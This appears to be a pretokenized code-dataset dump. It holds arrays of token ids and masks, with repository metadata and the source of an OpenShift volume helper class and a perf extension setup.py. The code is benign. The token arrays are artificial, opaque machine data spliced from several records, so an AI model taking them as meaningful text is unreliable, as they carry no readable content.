671, 12, 1315, 29, 403, 304, 272, 372, 378, 14, 819, 347, 485, 13737, 63, 2102, 8, 277, 12, 1315, 304, 272, 1315, 275, 4156, 14, 3916, 63, 475, 63, 3128, 8, 90, 9, 272, 1315, 275, 3473, 63, 1483, 14, 2931, 1332, 17, 435, 1315, 9, 1182, 499, 12, 6674, 14, 442, 708, 9, 272, 372, 1625, 63, 1483, 14, 13737, 8, 277, 423, 2102, 12, 1315, 9, 421, 199, 533, 6266, 6194, 8580, 774, 8, 396, 14, 1746, 304, 819, 347, 511, 3188, 6194, 8580, 8, 277, 304, 272, 486, 275, 4156, 14, 4578, 342, 272, 543, 486, 14, 305, 63, 885, 837, 489, 8504, 275, 650, 14, 16, 489, 10819, 275, 499, 14, 16, 489, 327, 3390, 26, 314, 30633, 4550, 1454, 5419, 367, 642, 2893, 27, 1655, 16711, 489, 327, 1265, 1443, 503, 1443, 440, 1929, 282, 7114, 63, 1838, 14, 489, 943, 63, 3302, 275, 6364, 14, 3188, 6194, 8580, 8, 881, 4084, 29, 795, 14, 6241, 8, 6553, 29, 6553, 12, 10819, 29, 9412, 395, 881, 12111, 19625, 29, 1533, 14, 4527, 8, 1430, 63, 13575, 29, 16, 430, 489, 2249, 63, 2686, 275, 5020, 14, 320, 784, 1025, 8, 83, 29, 9412, 12, 4666, 29, 1590, 14, 1474, 8, 6553, 430, 2541, 327, 2690, 489, 2690, 275, 943, 63, 3302, 14, 3271, 8, 15274, 12, 6347, 29, 8276, 9, 489, 291, 14, 7069, 8798, 943, 63, 3302, 14, 362, 63, 1430, 63, 1392, 1012, 489, 543, 291, 14, 396, 63, 1730, 8, 2180, 29, 71, 304, 267, 291, 14, 7069, 8798, 943, 63, 3302, 14, 1430, 63, 1392, 1252, 2579, 1012, 267, 291, 14, 7260, 8, 288, 2249, 63, 2686, 14, 3670, 1062, 980, 14, 3670, 8, 3271, 14, 2579, 4000, 9543, 29, 16, 14, 16, 12, 10561, 29, 16, 14, 1717, 9, 2541, 327, 11249, 12, 943, 63, 5607, 12, 26037, 12, 5423, 1396, 489, 327, 710, 4615, 402, 314, 560, 784, 1783, 365, 6818, 30300, 14, 489, 511, 63, 3643, 275, 980, 14, 11649, 8, 16, 14, 17, 12, 5198, 2020, 1967, 29, 1165, 680, 6041, 8, 1590, 14, 1609, 708, 9, 489, 367, 2562, 315, 3474, 793, 63, 3302, 14, 793, 63, 6101, 12, 2249, 63, 2686, 14, 793, 5607, 467, 673, 359, 793, 63, 3302, 14, 6101, 12, 2249, 63, 2686, 14, 5607, 467, 673, 359, 793, 63, 3302, 14, 793, 63, 10790, 12, 2249, 63, 2686, 14, 793, 10790, 467, 673, 359, 793, 63, 3302, 14, 10790, 12, 2249, 63, 2686, 14, 10790, 467, 673, 359, 793, 63, 3302, 14, 5105, 433, 637, 63, 1593, 12, 2249, 63, 2686, 14, 7646, 467, 673, 359, 793, 63, 3302, 14, 793, 63, 5105, 433, 637, 63, 1593, 12, 2249, 63, 2686, 14, 7270, 70, 27589, 267, 3503, 275, 2562, 59, 16, 8738, 396, 63, 3643, 9, 267, 1420, 275, 2562, 59, 17, 8738, 396, 63, 3643, 9, 267, 543, 291, 14, 396, 63, 1730, 8, 2180, 29, 71, 304, 881, 291, 14, 7260, 8, 2062, 12, 3503, 14, 2579, 1062, 9543, 29, 16, 12, 10561, 29, 16, 14, 614, 9, 819, 347, 511, 16138, 27665, 12450, 28274, 8, 277, 304, 272, 543, 291, 14, 396, 63, 1730, 342, 465, 4043, 26, 489, 8504, 275, 650, 14, 16 ]
[ 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 6266, 6194, 8580, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 504, 7026, 492, 5020, 199, 199, 504, 3228, 14, 2828, 492, 10208, 199, 504, 3228, 14, 2828, 492, 16727, 199, 504, 3228, 14, 2828, 14, 5613, 14, 1548, 14, 1483, 492, 12111, 19625, 465, 12111, 19625, 63, 773, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2345, 63, 1392, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 199, 1533, 275, 12111, 19625, 63, 773, 199, 795, 275, 10208, 199, 416, 275, 16727, 421, 199, 533, 485, 23932, 6592, 8, 1533, 14, 17975, 19625, 304, 523, 408, 33, 31012, 19625, 1314, 2468, 32128, 3382, 1373, 402, 2877, 2909, 2633, 1041, 819, 347, 636, 826, 721, 277, 12, 4355, 12, 536, 628, 23932, 6592, 2349, 272, 291, 423, 2180, 63, 8859, 275, 942, 272, 291, 423, 354, 275, 536, 272, 543, 291, 423, 354, 63, 2645, 480, 826, 401, 1338, 1524, 2102, 4682, 489, 291, 423, 2102, 275, 4156, 14, 3916, 63, 475, 63, 3128, 8, 2102, 12, 536, 628, 2102, 531, 489, 1613, 1547, 23932, 6592, 12, 291, 2843, 826, 721, 881, 3343, 63, 8859, 1524, 277, 423, 2102, 467, 881, 365, 63, 4083, 63, 27342, 29, 549, 12, 881, 4107, 63, 589, 29, 797, 12, 881, 536, 29, 354, 9, 819, 347, 485, 6688, 8, 277, 12, 671, 12, 1315, 304, 272, 372, 671, 435, 291, 423, 13737, 63, 2102, 8, 90, 9, 819, 347, 485, 11668, 8, 277, 12, 671, 12, 1315, 304, 272, 372, 671, 446, 291, 423, 13737, 63, 2102, 8, 90, 9, 819, 347, 485, 11668, 63, 793, 63, 9886, 63, 27342, 8, 277, 12, 671, 12, 1315, 29, 403, 304, 272, 372, 378, 14, 819, 347, 485, 13737, 63, 2102, 8, 277, 12, 1315, 304, 272, 1315, 275, 4156, 14, 3916, 63, 475, 63, 3128, 8, 90, 9, 272, 1315, 275, 3473, 63, 1483, 14, 2931, 1332, 17, 435, 1315, 9, 1182, 499, 12, 6674, 14, 442, 708, 9, 272, 372, 1625, 63, 1483, 14, 13737, 8, 277, 423, 2102, 12, 1315, 9, 421, 199, 533, 6266, 6194, 8580, 774, 8, 396, 14, 1746, 304, 819, 347, 511, 3188, 6194, 8580, 8, 277, 304, 272, 486, 275, 4156, 14, 4578, 342, 272, 543, 486, 14, 305, 63, 885, 837, 489, 8504, 275, 650, 14, 16, 489, 10819, 275, 499, 14, 16, 489, 327, 3390, 26, 314, 30633, 4550, 1454, 5419, 367, 642, 2893, 27, 1655, 16711, 489, 327, 1265, 1443, 503, 1443, 440, 1929, 282, 7114, 63, 1838, 14, 489, 943, 63, 3302, 275, 6364, 14, 3188, 6194, 8580, 8, 881, 4084, 29, 795, 14, 6241, 8, 6553, 29, 6553, 12, 10819, 29, 9412, 395, 881, 12111, 19625, 29, 1533, 14, 4527, 8, 1430, 63, 13575, 29, 16, 430, 489, 2249, 63, 2686, 275, 5020, 14, 320, 784, 1025, 8, 83, 29, 9412, 12, 4666, 29, 1590, 14, 1474, 8, 6553, 430, 2541, 327, 2690, 489, 2690, 275, 943, 63, 3302, 14, 3271, 8, 15274, 12, 6347, 29, 8276, 9, 489, 291, 14, 7069, 8798, 943, 63, 3302, 14, 362, 63, 1430, 63, 1392, 1012, 489, 543, 291, 14, 396, 63, 1730, 8, 2180, 29, 71, 304, 267, 291, 14, 7069, 8798, 943, 63, 3302, 14, 1430, 63, 1392, 1252, 2579, 1012, 267, 291, 14, 7260, 8, 288, 2249, 63, 2686, 14, 3670, 1062, 980, 14, 3670, 8, 3271, 14, 2579, 4000, 9543, 29, 16, 14, 16, 12, 10561, 29, 16, 14, 1717, 9, 2541, 327, 11249, 12, 943, 63, 5607, 12, 26037, 12, 5423, 1396, 489, 327, 710, 4615, 402, 314, 560, 784, 1783, 365, 6818, 30300, 14, 489, 511, 63, 3643, 275, 980, 14, 11649, 8, 16, 14, 17, 12, 5198, 2020, 1967, 29, 1165, 680, 6041, 8, 1590, 14, 1609, 708, 9, 489, 367, 2562, 315, 3474, 793, 63, 3302, 14, 793, 63, 6101, 12, 2249, 63, 2686, 14, 793, 5607, 467, 673, 359, 793, 63, 3302, 14, 6101, 12, 2249, 63, 2686, 14, 5607, 467, 673, 359, 793, 63, 3302, 14, 793, 63, 10790, 12, 2249, 63, 2686, 14, 793, 10790, 467, 673, 359, 793, 63, 3302, 14, 10790, 12, 2249, 63, 2686, 14, 10790, 467, 673, 359, 793, 63, 3302, 14, 5105, 433, 637, 63, 1593, 12, 2249, 63, 2686, 14, 7646, 467, 673, 359, 793, 63, 3302, 14, 793, 63, 5105, 433, 637, 63, 1593, 12, 2249, 63, 2686, 14, 7270, 70, 27589, 267, 3503, 275, 2562, 59, 16, 8738, 396, 63, 3643, 9, 267, 1420, 275, 2562, 59, 17, 8738, 396, 63, 3643, 9, 267, 543, 291, 14, 396, 63, 1730, 8, 2180, 29, 71, 304, 881, 291, 14, 7260, 8, 2062, 12, 3503, 14, 2579, 1062, 9543, 29, 16, 12, 10561, 29, 16, 14, 614, 9, 819, 347, 511, 16138, 27665, 12450, 28274, 8, 277, 304, 272, 543, 291, 14, 396, 63, 1730, 342, 465, 4043, 26, 489, 8504, 275, 650, 14, 16, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
git001/openshift-ansible
roles/lib_openshift/src/lib/volume.py
64
2002
# pylint: skip-file # flake8: noqa class Volume(object): ''' Class to represent an openshift volume object''' volume_mounts_path = {"pod": "spec.containers[0].volumeMounts", "dc": "spec.template.spec.containers[0].volumeMounts", "rc": "spec.template.spec.containers[0].volumeMounts", } volumes_path = {"pod": "spec.volumes", "dc": "spec.template.spec.volumes", "rc": "spec.template.spec.volumes", } @staticmethod def create_volume_structure(volume_info): ''' return a properly structured volume ''' volume_mount = None volume = {'name': volume_info['name']} volume_type = volume_info['type'].lower() if volume_type == 'secret': volume['secret'] = {} volume[volume_info['type']] = {'secretName': volume_info['secret_name']} volume_mount = {'mountPath': volume_info['path'], 'name': volume_info['name']} elif volume_type == 'emptydir': volume['emptyDir'] = {} volume_mount = {'mountPath': volume_info['path'], 'name': volume_info['name']} elif volume_type == 'pvc' or volume_type == 'persistentvolumeclaim': volume['persistentVolumeClaim'] = {} volume['persistentVolumeClaim']['claimName'] = volume_info['claimName'] volume['persistentVolumeClaim']['claimSize'] = volume_info['claimSize'] elif volume_type == 'hostpath': volume['hostPath'] = {} volume['hostPath']['path'] = volume_info['path'] elif volume_type == 'configmap': volume['configMap'] = {} volume['configMap']['name'] = volume_info['configmap_name'] volume_mount = {'mountPath': volume_info['path'], 'name': volume_info['name']} return (volume, volume_mount)
apache-2.0
[ 3, 4287, 26, 3372, 13, 493, 199, 3, 27510, 24, 26, 8151, 199, 199, 533, 15018, 8, 785, 304, 272, 1449, 8089, 370, 2954, 376, 1551, 4723, 3301, 909, 2344, 272, 3301, 63, 25810, 63, 515, 275, 2420, 12656, 582, 298, 1650, 14, 13577, 59, 16, 1055, 2405, 24467, 83, 401, 2079, 298, 3833, 582, 221, 298, 1650, 14, 1160, 14, 1650, 14, 13577, 59, 16, 1055, 2405, 24467, 83, 401, 2079, 298, 1195, 582, 221, 298, 1650, 14, 1160, 14, 1650, 14, 13577, 59, 16, 1055, 2405, 24467, 83, 401, 586, 789, 272, 12158, 63, 515, 275, 2420, 12656, 582, 298, 1650, 14, 8838, 401, 490, 298, 3833, 582, 221, 298, 1650, 14, 1160, 14, 1650, 14, 8838, 401, 490, 298, 1195, 582, 221, 298, 1650, 14, 1160, 14, 1650, 14, 8838, 401, 673, 789, 339, 768, 4639, 272, 347, 1218, 63, 2405, 63, 6976, 8, 2405, 63, 815, 304, 267, 1449, 372, 282, 7684, 21781, 3301, 1449, 267, 3301, 63, 3956, 275, 488, 267, 3301, 275, 791, 354, 356, 3301, 63, 815, 459, 354, 12074, 267, 3301, 63, 466, 275, 3301, 63, 815, 459, 466, 2278, 2325, 342, 267, 340, 3301, 63, 466, 508, 283, 4731, 356, 288, 3301, 459, 4731, 418, 275, 1052, 288, 3301, 59, 2405, 63, 815, 459, 466, 6538, 275, 791, 4731, 985, 356, 3301, 63, 815, 459, 4731, 63, 354, 12074, 288, 3301, 63, 3956, 275, 791, 3956, 2042, 356, 3301, 63, 815, 459, 515, 995, 1169, 283, 354, 356, 3301, 63, 815, 459, 354, 12074, 267, 916, 3301, 63, 466, 508, 283, 1667, 694, 356, 288, 3301, 459, 1667, 3567, 418, 275, 1052, 288, 3301, 63, 3956, 275, 791, 3956, 2042, 356, 3301, 63, 815, 459, 515, 995, 1169, 283, 354, 356, 3301, 63, 815, 459, 354, 12074, 267, 916, 3301, 63, 466, 508, 283, 1381, 67, 7, 503, 3301, 63, 466, 508, 283, 18539, 2405, 17904, 356, 288, 3301, 459, 18539, 6464, 12086, 1017, 418, 275, 1052, 288, 3301, 459, 18539, 6464, 12086, 1017, 2545, 17904, 985, 418, 275, 3301, 63, 815, 459, 17904, 985, 418, 288, 3301, 459, 18539, 6464, 12086, 1017, 2545, 17904, 2320, 418, 275, 3301, 63, 815, 459, 17904, 2320, 418, 267, 916, 3301, 63, 466, 508, 283, 1102, 515, 356, 288, 3301, 459, 1102, 2042, 418, 275, 1052, 288, 3301, 459, 1102, 2042, 2545, 515, 418, 275, 3301, 63, 815, 459, 515, 418, 267, 916, 3301, 63, 466, 508, 283, 888, 1130, 356, 288, 3301, 459, 888, 2956, 418, 275, 1052, 288, 3301, 459, 888, 2956, 2545, 354, 418, 275, 3301, 63, 815, 459, 888, 1130, 63, 354, 418, 288, 3301, 63, 3956, 275, 791, 3956, 2042, 356, 3301, 63, 815, 459, 515, 995, 1169, 283, 354, 356, 3301, 63, 815, 459, 354, 12074, 398, 372, 334, 2405, 12, 3301, 63, 3956, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 4287, 26, 3372, 13, 493, 199, 3, 27510, 24, 26, 8151, 199, 199, 533, 15018, 8, 785, 304, 272, 1449, 8089, 370, 2954, 376, 1551, 4723, 3301, 909, 2344, 272, 3301, 63, 25810, 63, 515, 275, 2420, 12656, 582, 298, 1650, 14, 13577, 59, 16, 1055, 2405, 24467, 83, 401, 2079, 298, 3833, 582, 221, 298, 1650, 14, 1160, 14, 1650, 14, 13577, 59, 16, 1055, 2405, 24467, 83, 401, 2079, 298, 1195, 582, 221, 298, 1650, 14, 1160, 14, 1650, 14, 13577, 59, 16, 1055, 2405, 24467, 83, 401, 586, 789, 272, 12158, 63, 515, 275, 2420, 12656, 582, 298, 1650, 14, 8838, 401, 490, 298, 3833, 582, 221, 298, 1650, 14, 1160, 14, 1650, 14, 8838, 401, 490, 298, 1195, 582, 221, 298, 1650, 14, 1160, 14, 1650, 14, 8838, 401, 673, 789, 339, 768, 4639, 272, 347, 1218, 63, 2405, 63, 6976, 8, 2405, 63, 815, 304, 267, 1449, 372, 282, 7684, 21781, 3301, 1449, 267, 3301, 63, 3956, 275, 488, 267, 3301, 275, 791, 354, 356, 3301, 63, 815, 459, 354, 12074, 267, 3301, 63, 466, 275, 3301, 63, 815, 459, 466, 2278, 2325, 342, 267, 340, 3301, 63, 466, 508, 283, 4731, 356, 288, 3301, 459, 4731, 418, 275, 1052, 288, 3301, 59, 2405, 63, 815, 459, 466, 6538, 275, 791, 4731, 985, 356, 3301, 63, 815, 459, 4731, 63, 354, 12074, 288, 3301, 63, 3956, 275, 791, 3956, 2042, 356, 3301, 63, 815, 459, 515, 995, 1169, 283, 354, 356, 3301, 63, 815, 459, 354, 12074, 267, 916, 3301, 63, 466, 508, 283, 1667, 694, 356, 288, 3301, 459, 1667, 3567, 418, 275, 1052, 288, 3301, 63, 3956, 275, 791, 3956, 2042, 356, 3301, 63, 815, 459, 515, 995, 1169, 283, 354, 356, 3301, 63, 815, 459, 354, 12074, 267, 916, 3301, 63, 466, 508, 283, 1381, 67, 7, 503, 3301, 63, 466, 508, 283, 18539, 2405, 17904, 356, 288, 3301, 459, 18539, 6464, 12086, 1017, 418, 275, 1052, 288, 3301, 459, 18539, 6464, 12086, 1017, 2545, 17904, 985, 418, 275, 3301, 63, 815, 459, 17904, 985, 418, 288, 3301, 459, 18539, 6464, 12086, 1017, 2545, 17904, 2320, 418, 275, 3301, 63, 815, 459, 17904, 2320, 418, 267, 916, 3301, 63, 466, 508, 283, 1102, 515, 356, 288, 3301, 459, 1102, 2042, 418, 275, 1052, 288, 3301, 459, 1102, 2042, 2545, 515, 418, 275, 3301, 63, 815, 459, 515, 418, 267, 916, 3301, 63, 466, 508, 283, 888, 1130, 356, 288, 3301, 459, 888, 2956, 418, 275, 1052, 288, 3301, 459, 888, 2956, 2545, 354, 418, 275, 3301, 63, 815, 459, 888, 1130, 63, 354, 418, 288, 3301, 63, 3956, 275, 791, 3956, 2042, 356, 3301, 63, 815, 459, 515, 995, 1169, 283, 354, 356, 3301, 63, 815, 459, 354, 12074, 398, 372, 334, 2405, 12, 3301, 63, 3956, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 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.py
4998
1330
#!/usr/bin/python2 from distutils.core import setup, Extension from os import getenv from distutils.command.build_ext import build_ext as _build_ext from distutils.command.install_lib import install_lib as _install_lib class build_ext(_build_ext): def finalize_options(self): _build_ext.finalize_options(self) self.build_lib = build_lib self.build_temp = build_tmp class install_lib(_install_lib): def finalize_options(self): _install_lib.finalize_options(self) self.build_dir = build_lib cflags = ['-fno-strict-aliasing', '-Wno-write-strings'] cflags += getenv('CFLAGS', '').split() build_lib = getenv('PYTHON_EXTBUILD_LIB') build_tmp = getenv('PYTHON_EXTBUILD_TMP') ext_sources = [f.strip() for f in file('util/python-ext-sources') if len(f.strip()) > 0 and f[0] != '#'] perf = Extension('perf', sources = ext_sources, include_dirs = ['util/include'], extra_compile_args = cflags, ) setup(name='perf', version='0.1', 